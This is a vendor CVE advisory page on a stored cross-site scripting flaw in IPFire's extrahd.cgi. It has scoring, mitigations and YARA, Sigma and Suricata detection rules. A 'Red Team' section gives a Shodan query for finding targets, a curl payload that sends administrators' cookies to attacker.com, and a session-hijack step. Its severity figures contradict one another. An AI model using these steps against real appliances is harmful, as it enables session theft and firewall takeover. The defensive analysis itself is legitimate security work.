☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2019-25399

CVE-2019-25399 Cross-Site Scripting in Ipfire
📅 PUBLISHED: 2026-02-18 20:59 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.24%
👁️
0.24% probability
6.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2019-25399 identifies multiple stored cross-site scripting (XSS) vulnerabilities in the extrahd.cgi script of IPFire 2.21 Core Update 127. An unauthenticated attacker can inject arbitrary JavaScript via the FS, PATH, and UUID parameters in POST requests. When an authenticated administrator views the affected page, the injected script executes in the context of their session, potentially leading to session hijacking, credential theft, or further compromise of the IPFire appliance.

This vulnerability is particularly dangerous because IPFire is a firewall and router distribution, meaning a successful attack could expose internal network traffic, firewall rules, and VPN configurations. The CVSS score is 0.0 in the NVD data, but based on the description and impact, a more realistic score is 6.1 (Medium) with the vector provided above.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

IPFire is a Linux distribution built from source packages. While this vulnerability is not in a specific language package (NPM, PyPI, Go, Ruby), it affects the core web interface. The lack of a patch or advisory from the vendor increases supply chain risk for organizations relying on IPFire for network security.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attacker can send malicious requests over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required; the attacker simply sends a crafted POST request.
  • Privileges Required (PR): None (N) – No authentication is needed to inject the payload.
  • User Interaction (UI): Required (R) – The victim (admin) must visit the affected page.
  • Scope (S): Changed (C) – The vulnerability allows the attacker to impact resources beyond the vulnerable component (e.g., steal admin session).
  • Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
  • Integrity (I): Low (L) – Limited ability to modify data (e.g., change firewall rules via XSS).
  • Availability (A): None (N) – No direct impact on availability.

Threat Level: Medium (6.1) – Exploitation requires user interaction, but the impact on a firewall appliance is severe.

Deep Dive & Mechanics

The extrahd.cgi script is part of IPFire's web interface for managing external hard drives. It accepts POST parameters FS, PATH, and UUID to configure storage devices. The script fails to sanitize or encode user input before storing it in the backend (likely a configuration file or database). When the administrator views the storage management page, the stored values are rendered without proper escaping, allowing JavaScript execution.

Attack Flow:

  1. Attacker identifies an IPFire instance (e.g., via Shodan).
  2. Attacker sends a POST request to /cgi-bin/extrahd.cgi with a payload like FS=<script>alert('XSS')</script>.
  3. The payload is stored in the system.
  4. An authenticated administrator navigates to the storage management page.
  5. The browser executes the injected script, which can:
    • Steal session cookies (document.cookie).
    • Perform actions on behalf of the admin (e.g., modify firewall rules, add users).
    • Exfiltrate sensitive data to an attacker-controlled server.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# In extrahd.cgi
my $fs = param('FS');
# Directly stored without sanitization
store_config($fs, $path, $uuid);

Patched Code (Expected):

# In extrahd.cgi
my $fs = param('FS');
$fs = CGI::escapeHTML($fs);  # HTML-encode special characters
store_config($fs, $path, $uuid);

Since no official patch is available, the fix would involve HTML encoding all user-supplied input before storage and output encoding when rendering.

Exploitation & Lab Setup

Red Team (Exploitation)

Step 1: Identify Target Use Shodan or masscan to find IPFire instances. Example Shodan query: title:"IPFire".

Step 2: Inject Payload

curl -X POST http://target/cgi-bin/extrahd.cgi \
  -d "FS=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>" \
  -d "PATH=/mnt/usb" \
  -d "UUID=1234"

Step 3: Wait for Admin Interaction When an admin views the storage page, the script executes and sends the cookie to your server.

Step 4: Session Hijacking Use the stolen cookie to impersonate the admin:

curl -b "session=STOLEN_COOKIE" http://target/cgi-bin/index.cgi

Blue Team (Defense)

Detection:

  • Monitor POST requests to /cgi-bin/extrahd.cgi containing <script> or onerror= patterns.
  • Use WAF rules to block common XSS payloads in FS, PATH, and UUID parameters.

Mitigation:

  • Restrict access to the web interface to trusted IPs only.
  • Implement Content Security Policy (CSP) headers to block inline scripts.
  • Use input validation (allow only alphanumeric characters for UUID, path patterns for PATH).

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /cgi-bin/extrahd.cgi with suspicious parameters.
    • Outbound connections from IPFire to unknown IPs on port 80/443 (data exfiltration).
  • File IOCs:
    • Modified configuration files under /var/ipfire/ containing JavaScript payloads.
  • Log IOCs:
    • Apache access logs showing POST /cgi-bin/extrahd.cgi with script tags.
    • Browser console errors related to CSP violations.

Detection Engineering

YARA Rule

rule CVE_2019_25399_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting IPFire extrahd.cgi"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25399"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $param_fs = "FS="
        $param_path = "PATH="
        $param_uuid = "UUID="
    condition:
        any of ($xss*) and any of ($param*)
}

Sigma Rule

title: IPFire extrahd.cgi XSS Injection
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects POST requests to extrahd.cgi with XSS payloads
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/cgi-bin/extrahd.cgi'
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate use of script tags in storage names (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2019-25399 IPFire extrahd.cgi XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/extrahd.cgi"; http_uri;
    content:"FS="; http_client_body;
    pcre:"/<script[^>]*>.*<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2019-25399;
    priority:2;
)

Remediation & Mitigation

  1. Immediate Actions:

    • Restrict access to the IPFire web interface to trusted IPs only (e.g., via firewall rules).
    • Disable the extrahd.cgi script if external drive management is not needed.
    • Implement a Web Application Firewall (WAF) to block XSS payloads.
  2. Long-term Fix:

    • Apply input validation and output encoding to all parameters in extrahd.cgi.
    • Upgrade to a patched version of IPFire if one becomes available.
    • Monitor the IPFire mailing list and GitHub for security updates.
  3. Compromise Assessment:

    • Check Apache logs for POST requests to extrahd.cgi with suspicious content.
    • Review firewall rules and VPN configurations for unauthorized changes.
    • Rotate all administrative passwords and API keys.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2019-25399/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.